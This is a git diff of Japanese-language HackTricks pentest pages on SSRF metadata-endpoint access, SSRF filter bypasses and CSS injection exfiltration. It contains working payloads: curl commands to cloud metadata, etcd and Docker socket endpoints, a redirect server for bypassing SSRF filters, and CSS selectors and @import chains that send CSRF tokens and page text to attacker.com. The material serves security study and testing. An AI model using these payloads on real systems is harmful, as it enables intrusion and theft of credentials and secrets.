**env** から `IDENTITY_HEADER` _と_ `IDENTITY_ENDPOINT` の値を取得できます。これらを使用してメタデータサーバーと通信するためのトークンを取得できます。
|
||||
|
||||
ほとんどの場合、これらのリソースのいずれかに対するトークンが必要です:
|
||||
|
||||
|
@ -473,7 +476,7 @@ Microsoft.Azure.Commands.ResourceManager.Cmdlets.Implementation.GetAzureResource
|
|||
## IBM Cloud <a href="#id-2af0" id="id-2af0"></a>
|
||||
|
||||
{% hint style="warning" %}
|
||||
IBMではデフォルトでメタデータが有効になっていないため、IBMクラウドVM内にいてもアクセスできない可能性があります。
|
||||
IBMではデフォルトでメタデータが有効になっていないことに注意してください。そのため、IBMのクラウドVM内にいてもアクセスできない可能性があります。
|
||||
{% endhint %}
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
|
@ -502,7 +505,7 @@ curl -s -X POST -H "Accept: application/json" -H "Authorization: Bearer $instanc
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
各プラットフォームのメタデータサービスのドキュメントは以下に概説されており、インスタンスの構成およびランタイム情報にアクセスする方法が強調されています。各プラットフォームは、それぞれ固有のエンドポイントを提供しています。
|
||||
以下に、各プラットフォームのメタデータサービスのドキュメントが記載されており、インスタンスの構成やランタイム情報にアクセスする方法が示されています。各プラットフォームは、独自のエンドポイントを提供しています。
|
||||
|
||||
## Packetcloud
|
||||
|
||||
|
@ -510,7 +513,7 @@ Packetcloudのメタデータにアクセスするためのドキュメントは
|
|||
|
||||
## OpenStack/RackSpace
|
||||
|
||||
ヘッダーの必要性については言及されていません。メタデータは以下を介してアクセスできます:
|
||||
ヘッダーの必要性については言及されていません。メタデータは以下を通じてアクセスできます:
|
||||
|
||||
* `http://169.254.169.254/openstack`
|
||||
|
||||
|
@ -531,7 +534,7 @@ Oracle Cloudは、さまざまなメタデータの側面にアクセスする
|
|||
|
||||
## Alibaba
|
||||
|
||||
Alibabaは、インスタンスおよびイメージIDにアクセスするためのエンドポイントを提供しています:
|
||||
Alibabaは、インスタンスやイメージのIDなどのメタデータにアクセスするためのエンドポイントを提供しています:
|
||||
|
||||
* `http://100.100.100.200/latest/meta-data/`
|
||||
* `http://100.100.100.200/latest/meta-data/instance-id`
|
||||
|
@ -539,16 +542,16 @@ Alibabaは、インスタンスおよびイメージIDにアクセスするた
|
|||
|
||||
## Kubernetes ETCD
|
||||
|
||||
Kubernetes ETCDにはAPIキー、内部IPアドレス、ポートを保持することができます。アクセスは以下を通じてデモンストレーションされます:
|
||||
Kubernetes ETCDには、APIキー、内部IPアドレス、ポートが保存されています。アクセス方法は以下の通りです:
|
||||
|
||||
* `curl -L http://127.0.0.1:2379/version`
|
||||
* `curl http://127.0.0.1:2379/v2/keys/?recursive=true`
|
||||
|
||||
## Docker
|
||||
|
||||
Dockerのメタデータはローカルでアクセスでき、コンテナおよびイメージ情報の取得例が示されています:
|
||||
Dockerのメタデータはローカルでアクセスでき、コンテナやイメージ情報の取得例が示されています:
|
||||
|
||||
* Dockerソケットを介してコンテナおよびイメージのメタデータにアクセスするためのシンプルな例:
|
||||
* Dockerソケットを介してコンテナやイメージのメタデータにアクセスする簡単な例:
|
||||
* `docker run -ti -v /var/run/docker.sock:/var/run/docker.sock bash`
|
||||
* コンテナ内で、Dockerソケットを使用してcurlを使用します:
|
||||
* `curl --unix-socket /var/run/docker.sock http://foo/containers/json`
|
||||
|
|
|
@ -9,18 +9,18 @@ HackTricks をサポートする他の方法:
|
|||
* **HackTricks で企業を宣伝したい** または **HackTricks を PDF でダウンロードしたい場合は** [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください!
|
||||
* [**公式 PEASS & HackTricks スワッグ**](https://peass.creator-spring.com) を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つける
|
||||
* **💬 [Discord グループ](https://discord.gg/hRep4RUj7f)** に参加するか、[telegram グループ](https://t.me/peass) に参加するか、**Twitter** 🐦 で **@carlospolopm** をフォローする [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **ハッキングテクニックを共有するために PR を送信して** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) の github リポジトリに参加する
|
||||
* **💬 [**Discord グループ**](https://discord.gg/hRep4RUj7f) または [**telegram グループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live) をフォローする。
|
||||
* **HackTricks** と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) の github リポジトリに PR を提出して、あなたのハッキングテクニックを共有してください。
|
||||
|
||||
</details>
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
***
|
||||
|
||||
### Localhost
|
||||
```bash
|
||||
|
@ -161,20 +161,20 @@ next={domain}&next=attacker.com
|
|||
```
|
||||
### パスと拡張子のバイパス
|
||||
|
||||
URLがパスまたは拡張子で終わる必要があるか、パスを含む必要がある場合は、以下のバイパスのいずれかを試すことができます:
|
||||
URLがパスまたは拡張子で終わる必要があるか、パスを含む必要がある場合は、次のバイパスのいずれかを試すことができます:
|
||||
```
|
||||
https://metadata/vulerable/path#/expected/path
|
||||
https://metadata/vulerable/path#.extension
|
||||
https://metadata/expected/path/..%2f..%2f/vulnerable/path
|
||||
```
|
||||
### ファジング
|
||||
### Fuzzing
|
||||
|
||||
ツール[**recollapse**](https://github.com/0xacb/recollapse)は、指定された入力から変化を生成して使用されている正規表現をバイパスしようとします。詳細については[**この投稿**](https://0xacb.com/2022/11/21/recollapse/)も参照してください。
|
||||
|
||||
### リダイレクト経由のバイパス
|
||||
|
||||
サーバーがSSRFの**元のリクエストをフィルタリングしている可能性がある**が、そのリクエストへの可能な**リダイレクト**応答は**フィルタリングされていない**かもしれません。\
|
||||
例えば、`url=https://www.google.com/`を介したSSRFに脆弱なサーバーは、**urlパラメータをフィルタリングしている**かもしれません。しかし、[pythonサーバーを使用して302で応答](https://pastebin.com/raw/ywAUhFrv)し、リダイレクトしたい場所にリダイレクトすると、127.0.0.1のような**フィルタリングされたIPアドレス**やgopherのようなフィルタリングされた**プロトコル**に**アクセス**できるかもしれません。\
|
||||
サーバーがSSRFの**元のリクエストをフィルタリングしている可能性**があるが、そのリクエストへの可能な**リダイレクト**応答は**フィルタリングされていない**かもしれません。\
|
||||
たとえば、`url=https://www.google.com/`を介したSSRFに脆弱なサーバーは、**urlパラメータをフィルタリングしている**かもしれません。しかし、[pythonサーバーを使用して302で応答](https://pastebin.com/raw/ywAUhFrv)し、リダイレクトしたい場所にリダイレクトすると、127.0.0.1のような**フィルタリングされたIPアドレス**やgopherのようなフィルタリングされた**プロトコル**に**アクセス**できるかもしれません。\
|
||||
[このレポートをチェックしてください。](https://sirleeroyjenkins.medium.com/just-gopher-it-escalating-a-blind-ssrf-to-rce-for-15k-f5329a974530)
|
||||
```python
|
||||
#!/usr/bin/env python3
|
||||
|
@ -196,11 +196,11 @@ self.end_headers()
|
|||
|
||||
HTTPServer(("", int(sys.argv[1])), Redirect).serve_forever()
|
||||
```
|
||||
## 説明されたトリック
|
||||
## 解説されたトリック
|
||||
|
||||
### バックスラッシュトリック
|
||||
|
||||
_バックスラッシュトリック_ は、[WHATWG URL標準](https://url.spec.whatwg.org/#url-parsing) と [RFC3986](https://datatracker.ietf.org/doc/html/rfc3986#appendix-B) の違いを悪用します。RFC3986 はURIの一般的なフレームワークですが、WHATWG はWeb URLに特化しており、現代のブラウザで採用されています。重要な違いは、WHATWG 標準がバックスラッシュ (`\`) をスラッシュ (`/`) と同等と認識している点にあり、特にURL内のホスト名からパスへの移行をマークする方法に影響を与えます。
|
||||
_バックスラッシュトリック_ は、[WHATWG URL標準](https://url.spec.whatwg.org/#url-parsing) と [RFC3986](https://datatracker.ietf.org/doc/html/rfc3986#appendix-B) の違いを悪用します。RFC3986 はURIの一般的なフレームワークですが、WHATWG はWeb URL に特化しており、現代のブラウザで採用されています。重要な違いは、WHATWG 標準がバックスラッシュ (`\`) をスラッシュ (`/`) と同等と認識している点にあり、特にURL内でホスト名からパスへの移行をマークする方法に影響を与えます。
|
||||
|
||||
![https://bugs.xdavidhu.me/assets/posts/2021-12-30-fixing-the-unfixable-story-of-a-google-cloud-ssrf/spec\_difference.jpg](https://bugs.xdavidhu.me/assets/posts/2021-12-30-fixing-the-unfixable-story-of-a-google-cloud-ssrf/spec\_difference.jpg)
|
||||
|
||||
|
@ -217,20 +217,20 @@ _バックスラッシュトリック_ は、[WHATWG URL標準](https://url.spec
|
|||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricks をサポートする他の方法:
|
||||
|
||||
* **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい** 場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください!
|
||||
* [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つける
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f) または [**telegramグループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** をフォローする。**
|
||||
* **HackTricks** と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有する。
|
||||
* **💬 [**Discord グループ**](https://discord.gg/hRep4RUj7f) または [**telegram グループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** をフォローする。**
|
||||
* **HackTricks と HackTricks Cloud** のGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有する。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,21 +2,21 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE(HackTricks AWS Red Team Expert)</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>でゼロからヒーローまでAWSハッキングを学ぶ</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>htARTE(HackTricks AWS Red Team Expert)</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>を通じて、ゼロからヒーローまでAWSハッキングを学ぶ</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricksをサポートする他の方法:
|
||||
|
||||
- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
- [**公式PEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を入手する
|
||||
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
|
||||
- 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)で**フォロー**する
|
||||
- **HackTricks**および**HackTricks Cloud**のGitHubリポジトリにPRを提出して、あなたのハッキングテクニックを共有する
|
||||
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)をフォローする
|
||||
- **ハッキングトリックを共有するために、[HackTricks](https://github.com/carlospolop/hacktricks)と[HackTricks Cloud](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出する**
|
||||
|
||||
</details>
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
@ -39,9 +39,9 @@ input[name=csrf][value^=9]{
|
|||
background-image: url(https://attacker.com/exfil/9);
|
||||
}
|
||||
```
|
||||
#### 隠し要素へのバイパス
|
||||
#### 隠れた要素へのバイパス
|
||||
|
||||
この制限を回避するために、`~` 汎用の兄弟結合子を使用して、隠し入力要素の後続の兄弟要素を対象にすることができます。その後、CSSルールは隠し入力要素に続くすべての兄弟要素に適用され、背景画像が読み込まれます。
|
||||
この制限を回避するために、`~` 汎用の兄弟コンビネータを使用して、隠れた入力要素の後続の兄弟要素をターゲットにすることができます。その後、CSSルールは隠れた入力要素に続くすべての兄弟要素に適用され、背景画像が読み込まれます。
|
||||
```css
|
||||
input[name=csrf][value^=csrF] ~ * {
|
||||
background-image: url(https://attacker.com/exfil/csrF);
|
||||
|
@ -49,9 +49,9 @@ background-image: url(https://attacker.com/exfil/csrF);
|
|||
```
|
||||
#### CSSインジェクションの事前条件
|
||||
|
||||
CSSインジェクション技術を効果的に利用するためには、次の条件を満たす必要があります:
|
||||
CSSインジェクション技術を効果的に利用するためには、特定の条件を満たす必要があります:
|
||||
|
||||
1. **ペイロードの長さ**:CSSインジェクションベクトルは、作成したセレクタを収容するのに十分な長さのペイロードをサポートする必要があります。
|
||||
1. **ペイロードの長さ**:CSSインジェクションベクトルは、作成したセレクタを収容するために十分に長いペイロードをサポートする必要があります。
|
||||
2. **CSSの再評価**:新しく生成されたペイロードでCSSの再評価をトリガーするために、ページをフレーム化する能力が必要です。
|
||||
3. **外部リソース**:この技術は、外部ホストされた画像を使用する能力を前提としています。これは、サイトのコンテンツセキュリティポリシー(CSP)によって制限される可能性があります。
|
||||
|
||||
|
@ -68,34 +68,34 @@ background:url(/m);
|
|||
<input name=mytoken value=1337>
|
||||
<input name=myname value=gareth>
|
||||
```
|
||||
これに以下の**@import**技術を組み合わせると、[**blind-css-exfiltration**](https://github.com/hackvertor/blind-css-exfiltration)**を使用して、盲目的なページからCSSインジェクションを利用して多くの情報を外部に送信することが可能です。**
|
||||
以下は、**@import** 技術を使用して、**blind-css-exfiltration** からの盲目のページからCSSインジェクションを使用して多くの情報を外部に送信することが可能です。
|
||||
|
||||
### @import
|
||||
|
||||
前述の技術にはいくつかの欠点があります。前提条件を確認してください。被害者に**複数のリンクを送信できる必要がある**か、**CSSインジェクションの脆弱なページにiframeを挿入できる必要があります**。
|
||||
前述の技術にはいくつかの欠点があります。前提条件を確認してください。被害者に**複数のリンクを送信できる必要がある**か、**CSSインジェクション脆弱なページにiframeを挿入できる必要があります**。
|
||||
|
||||
ただし、**CSS `@import`**を使用して技術の品質を向上させる別の巧妙な技術があります。
|
||||
ただし、**CSS `@import`** を使用して技術の品質を向上させる別の巧妙な技術があります。
|
||||
|
||||
これは最初に[**Pepe Vila**](https://vwzq.net/slides/2019-s3\_css\_injection\_attacks.pdf)によって示され、次のように機能します:
|
||||
|
||||
前の技術とは異なり、何度も同じページを異なるペイロードでロードするのではなく、**ページを1回だけ読み込み、攻撃者のサーバーにインポートする**(これが被害者に送信するペイロードです):
|
||||
前の技術とは異なり、何度も同じページを異なるペイロードで何十回も読み込むのではなく、**ページを1回だけ読み込み、攻撃者のサーバーへのインポートだけで読み込みます**(これが被害者に送信するペイロードです):
|
||||
```css
|
||||
@import url('//attacker.com:5001/start?');
|
||||
```
|
||||
1. 攻撃者から**いくつかのCSSスクリプト**を受け取り、**ブラウザがそれを読み込む**ことになります。
|
||||
2. 攻撃者が送信するCSSスクリプトの最初の部分は、**攻撃者のサーバーへの別の`@import`**です。
|
||||
3. 攻撃者のサーバーはこのリクエストにまだ応答しません。いくつかの文字を漏洩させ、次の文字を漏洩させるためにこのインポートに応答します。
|
||||
2. 攻撃者が送信するCSSスクリプトの最初の部分は、**攻撃者のサーバーに再度`@import`**を行います。
|
||||
3. 攻撃者のサーバーはこのリクエストにまだ応答しません。いくつかの文字を漏洩させ、次のものを漏洩させるためにこのインポートに応答するためのペイロードを送信します。
|
||||
4. ペイロードの2番目で、**属性セレクタ漏洩ペイロード**が送信されます。
|
||||
5. これにより、攻撃者のサーバーには**秘密の最初の文字と最後の文字**が送信されます。
|
||||
6. 攻撃者のサーバーが**秘密の最初と最後の文字**を受け取ると、**ステップ2で要求されたインポートに応答**します。
|
||||
7. 応答は**ステップ2、3、4**とまったく同じになりますが、今回は**秘密の2番目の文字を見つけ、その前の文字**を試みます。
|
||||
7. 応答は**ステップ2、3、4とまったく同じ**になりますが、今回は**秘密の2番目の文字を見つけ、その直前の文字**を試みます。
|
||||
|
||||
攻撃者は**秘密を完全に漏洩する**まで、このループを**続けます**。
|
||||
|
||||
元の[**Pepe Vilaによるこの悪用のコードはこちら**](https://gist.github.com/cgvwzq/6260f0f0a47c009c87b4d46ce3808231)で見つけることができます。または、ほぼ同じ[**コメント付きのコードはこちら**](./#css-injection)です。
|
||||
元の[**Pepe Vilaのこのコードを悪用するためのコードはこちら**](https://gist.github.com/cgvwzq/6260f0f0a47c009c87b4d46ce3808231)で見つけることができます。または、ほぼ同じ[**コメント付きのコードはこちら**](./#css-injection)です。
|
||||
|
||||
{% hint style="info" %}
|
||||
スクリプトは、属性セレクタを使用して次のような操作が可能であるため、毎回2文字を発見しようとします(先頭からと末尾から)。
|
||||
スクリプトは、属性セレクタを使用して次のような操作が可能なため、毎回2文字を発見しようとします(先頭からと末尾から)。
|
||||
```css
|
||||
/* value^= to match the beggining of the value*/
|
||||
input[value^="0"]{--s0:url(http://localhost:5001/leak?pre=0)}
|
||||
|
@ -107,7 +107,7 @@ input[value$="f"]{--e0:url(http://localhost:5001/leak?post=f)}
|
|||
|
||||
{% hint style="warning" %}
|
||||
時々、スクリプトは**発見された接頭辞+接尾辞が既に完全なフラグであることを正しく検出しない**場合があり、それに続いて(接頭辞で)前方に進み、(接尾辞で)後方に進み、ある時点で停止します。\
|
||||
心配いりません、**出力を確認するだけで**、**フラグをそこで見ることができます**。
|
||||
心配いりません、単に**出力を確認**すれば、**そこにフラグが表示されます**。
|
||||
{% endhint %}
|
||||
|
||||
### その他のセレクタ
|
||||
|
@ -125,7 +125,7 @@ input[value$="f"]{--e0:url(http://localhost:5001/leak?post=f)}
|
|||
|
||||
**参考:** [CSS based Attack: Abusing unicode-range of @font-face ](https://mksben.l0.cm/2015/10/css-based-attack-abusing-unicode-range.html), [Error-Based XS-Search PoC by @terjanq](https://twitter.com/terjanq/status/1180477124861407234)
|
||||
|
||||
全体的な意図は、**制御されたエンドポイントからカスタムフォントを使用**し、**指定されたリソース(`favicon.ico`)が読み込まれない場合にのみ、このフォントでテキスト(この場合は 'A')が表示されるようにすること**です。
|
||||
全体的な意図は、**制御されたエンドポイントからカスタムフォントを使用**し、指定されたリソース(`favicon.ico`)が読み込まれない場合にのみ、**テキスト(この場合は 'A')がこのフォントで表示されるようにする**ことです。
|
||||
```html
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
|
@ -162,33 +162,33 @@ font-family: 'poc';
|
|||
|
||||
### スクロールしてテキストフラグメントをスタイリングする
|
||||
|
||||
**`:target`**疑似クラスは、[CSS Selectors Level 4 specification](https://drafts.csswg.org/selectors-4/#the-target-pseudo)で指定されているように、**URLフラグメント**によってターゲットにされた要素を選択するために使用されます。`::target-text`は、テキストが明示的にフラグメントによってターゲットされていない限り、どの要素にも一致しません。
|
||||
**`:target`**疑似クラスは、[CSS Selectors Level 4 specification](https://drafts.csswg.org/selectors-4/#the-target-pseudo)で指定されているように、**URLフラグメント**によってターゲットされた要素を選択するために使用されます。`::target-text`は、テキストが明示的にフラグメントによってターゲットされていない限り、どの要素にも一致しません。
|
||||
|
||||
攻撃者が**スクロールしてテキスト**フラグメント機能を悪用すると、HTMLインジェクションを介して自身のサーバーからリソースを読み込むことで、特定のテキストの存在を確認することができるセキュリティ上の懸念が生じます。この方法は、次のようなCSSルールをインジェクトすることを含みます:
|
||||
攻撃者が**スクロールしてテキスト**フラグメント機能を悪用すると、HTMLインジェクションを介して自身のサーバーからリソースを読み込むことで、特定のテキストの存在を確認することができるセキュリティ上の懸念が生じます。この方法は、次のようなCSSルールをインジェクトすることによって行われます:
|
||||
```css
|
||||
:target::before { content : url(target.png) }
|
||||
```
|
||||
以下のようなシナリオでは、ページにテキスト「管理者」が存在する場合、サーバーからリソース `target.png` がリクエストされ、テキストの存在が示されます。この攻撃のインスタンスは、注入されたCSSをスクロールテキストフラグメントと一緒に埋め込んだ特別に作成されたURLを介して実行できます:
|
||||
以下のようなシナリオでは、ページにテキスト「管理者」が存在する場合、サーバーからリソース `target.png` がリクエストされ、テキストの存在が示されます。この攻撃のインスタンスは、注入されたCSSと一緒にスクロールテキストフラグメントを埋め込んだ特別に作成されたURLを介して実行できます:
|
||||
```
|
||||
http://127.0.0.1:8081/poc1.php?note=%3Cstyle%3E:target::before%20{%20content%20:%20url(http://attackers-domain/?confirmed_existence_of_Administrator_username)%20}%3C/style%3E#:~:text=Administrator
|
||||
```
|
||||
攻撃は、HTMLインジェクションを操作して、特定のテキスト「Administrator」を目指し、Scroll-to-textフラグメント(`#:~:text=Administrator`)を介してCSSコードを送信します。テキストが見つかった場合、指定されたリソースが読み込まれ、攻撃者にその存在が誤って通知されます。
|
||||
攻撃は、HTMLインジェクションを操作して、特定のテキスト「Administrator」をScroll-to-textフラグメント(`#:~:text=Administrator`)を介して狙い、CSSコードを送信します。テキストが見つかった場合、指定されたリソースが読み込まれ、攻撃者にその存在を誤って通知します。
|
||||
|
||||
緩和策として、以下の点に注意する必要があります:
|
||||
|
||||
1. **制約されたSTTFマッチング**:Scroll-to-text Fragment (STTF)は、単語や文章のみに一致するよう設計されており、任意の秘密情報やトークンを漏洩させる能力が制限されています。
|
||||
2. **トップレベルのブラウジングコンテキストへの制限**:STTFはトップレベルのブラウジングコンテキストでのみ動作し、iframe内では機能しないため、攻撃の試みがユーザーによりより目立つものとなります。
|
||||
3. **ユーザーアクティベーションの必要性**:STTFはユーザーアクティベーションのジェスチャーが必要であり、そのため、攻撃はユーザーが起動したナビゲーションを通じてのみ実行可能です。この要件により、攻撃がユーザーの介入なしに自動化されるリスクがかなり軽減されます。ただし、ブログ投稿の著者は、攻撃の自動化を容易にする特定の条件やバイパス(例:ソーシャルエンジニアリング、一般的なブラウザ拡張機能とのやり取り)を指摘しています。
|
||||
2. **トップレベルブラウジングコンテキストへの制限**:STTFはトップレベルのブラウジングコンテキストでのみ動作し、iframe内では機能しないため、攻撃の試みがユーザーにより目立つようになります。
|
||||
3. **ユーザーアクティベーションの必要性**:STTFはユーザーアクティベーションのジェスチャーが必要であり、攻撃はユーザーによるナビゲーションを介してのみ実行可能です。この要件により、攻撃がユーザーの介入なしに自動化されるリスクがかなり軽減されます。ただし、ブログ投稿の著者は、攻撃の自動化を容易にする特定の条件やバイパス(例:ソーシャルエンジニアリング、一般的なブラウザ拡張機能とのやり取り)を指摘しています。
|
||||
|
||||
これらのメカニズムと潜在的な脆弱性に対する認識は、Webセキュリティを維持し、このような悪用的な手法に対抗するための鍵となります。
|
||||
|
||||
詳細については、元のレポートをご確認ください:[https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/](https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/)
|
||||
|
||||
このテクニックを使用したCTFの[**エクスプロイトはこちらから**](https://gist.github.com/haqpl/52455c8ddfec33aeefb468301d70b6eb)確認できます。
|
||||
このテクニックを使用したCTFの[**エクスプロイトはこちら**](https://gist.github.com/haqpl/52455c8ddfec33aeefb468301d70b6eb)をご確認いただけます。
|
||||
|
||||
### @font-face / unicode-range <a href="#text-node-exfiltration-i-ligatures" id="text-node-exfiltration-i-ligatures"></a>
|
||||
|
||||
特定のUnicode値に対して**外部フォントを指定**し、そのUnicode値がページに存在する場合のみ**収集される**ようにすることができます。例:
|
||||
特定のUnicode値に対して**外部フォントを指定**することができ、そのUnicode値がページに存在する場合のみ**収集されます**。例:
|
||||
```html
|
||||
<style>
|
||||
@font-face{
|
||||
|
@ -217,16 +217,16 @@ font-family:poc;
|
|||
|
||||
**参考:** [Wykradanie danych w świetnym stylu – czyli jak wykorzystać CSS-y do ataków na webaplikację](https://sekurak.pl/wykradanie-danych-w-swietnym-stylu-czyli-jak-wykorzystac-css-y-do-atakow-na-webaplikacje/)
|
||||
|
||||
説明されている技術は、フォントリガチャを悪用してノードからテキストを抽出し、幅の変化を監視することに関与します。このプロセスにはいくつかのステップが含まれます:
|
||||
説明されている技術は、フォントリガチャを悪用してノードからテキストを抽出し、幅の変化を監視することに関わります。このプロセスにはいくつかのステップが含まれます:
|
||||
|
||||
1. **カスタムフォントの作成**:
|
||||
- SVGフォントは、`horiz-adv-x`属性を持つグリフを作成し、2文字のシーケンスを表すグリフに大きな幅を設定します。
|
||||
- 例:`<glyph unicode="XY" horiz-adv-x="8000" d="M1 0z"/>`、ここで"XY"は2文字のシーケンスを示します。
|
||||
- SVGフォントは、`horiz-adv-x`属性を持つグリフを持つように作成されます。これにより、2文字のシーケンスを表すグリフの幅が大きく設定されます。
|
||||
- 例:`<glyph unicode="XY" horiz-adv-x="8000" d="M1 0z"/>`というSVGグリフで、"XY"は2文字のシーケンスを示します。
|
||||
- これらのフォントは、fontforgeを使用してwoff形式に変換されます。
|
||||
|
||||
2. **幅の変化の検出**:
|
||||
- CSSを使用して、テキストが折り返されないようにする(`white-space: nowrap`)と、スクロールバースタイルをカスタマイズします。
|
||||
- 水平スクロールバーが現れ、はっきりとスタイルが異なる場合、特定のリガチャ(およびしたがって特定の文字シーケンス)がテキストに存在することを示すインジケータ(オラクル)として機能します。
|
||||
- 水平スクロールバーが現れ、はっきりとスタイルが異なる場合、特定のリガチャ(つまり、特定の文字シーケンス)がテキストに存在することを示すオラクルとして機能します。
|
||||
- 関連するCSS:
|
||||
```css
|
||||
body { white-space: nowrap };
|
||||
|
@ -234,27 +234,27 @@ body::-webkit-scrollbar { background: blue; }
|
|||
body::-webkit-scrollbar:horizontal { background: url(http://attacker.com/?leak); }
|
||||
```
|
||||
|
||||
3. **攻撃プロセス**:
|
||||
- **ステップ1**:幅の大きな文字のペア用のフォントが作成されます。
|
||||
- **ステップ2**:大きな幅のグリフ(文字ペアのリガチャ)がレンダリングされたときに検出するために、スクロールバーを利用したトリックが使用されます。これは、文字シーケンスが存在することを示します。
|
||||
- **ステップ3**:リガチャを検出した後、検出されたペアを組み込み、前後の文字を追加した3文字のシーケンスを表す新しいグリフが生成されます。
|
||||
- **ステップ4**:3文字のリガチャの検出が行われます。
|
||||
- **ステップ5**:プロセスが繰り返され、徐々に全体のテキストが明らかになります。
|
||||
3. **悪用プロセス**:
|
||||
- **ステップ1**: 幅の大きい文字のペア用のフォントが作成されます。
|
||||
- **ステップ2**: 大きな幅のグリフ(文字ペアのリガチャ)がレンダリングされたときに検出されるスクロールバーのトリックが使用され、文字シーケンスが存在することが示されます。
|
||||
- **ステップ3**: リガチャが検出されると、検出されたペアを組み込み、前後の文字を追加した3文字のシーケンスを表す新しいグリフが生成されます。
|
||||
- **ステップ4**: 3文字のリガチャの検出が行われます。
|
||||
- **ステップ5**: プロセスが繰り返され、徐々に全体のテキストが明らかになります。
|
||||
|
||||
4. **最適化**:
|
||||
- 現在の`<meta refresh=...`を使用した初期化方法は最適ではありません。
|
||||
- より効率的なアプローチは、CSSの`@import`トリックを使用して、攻撃のパフォーマンスを向上させることができます。
|
||||
- より効率的なアプローチは、CSSの`@import`トリックを使用して、悪用のパフォーマンスを向上させることができます。
|
||||
|
||||
### テキストノードの情報漏洩(II):デフォルトフォントを使用して文字セットを漏洩(外部アセットは不要) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
|
||||
### テキストノードの情報漏洩(II):デフォルトフォントを使用して文字セットを漏洩する(外部アセットを必要としない) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
|
||||
|
||||
**参考:** [PoC using Comic Sans by @Cgvwzq & @Terjanq](https://demo.vwzq.net/css2.html)
|
||||
|
||||
このトリックは、この[**Slackers thread**](https://www.reddit.com/r/Slackers/comments/dzrx2s/what\_can\_we\_do\_with\_single\_css\_injection/)で公開されました。テキストノードで使用される文字セットは、ブラウザにインストールされている**デフォルトフォント**を使用して漏洩できます:外部 -またはカスタム- フォントは必要ありません。
|
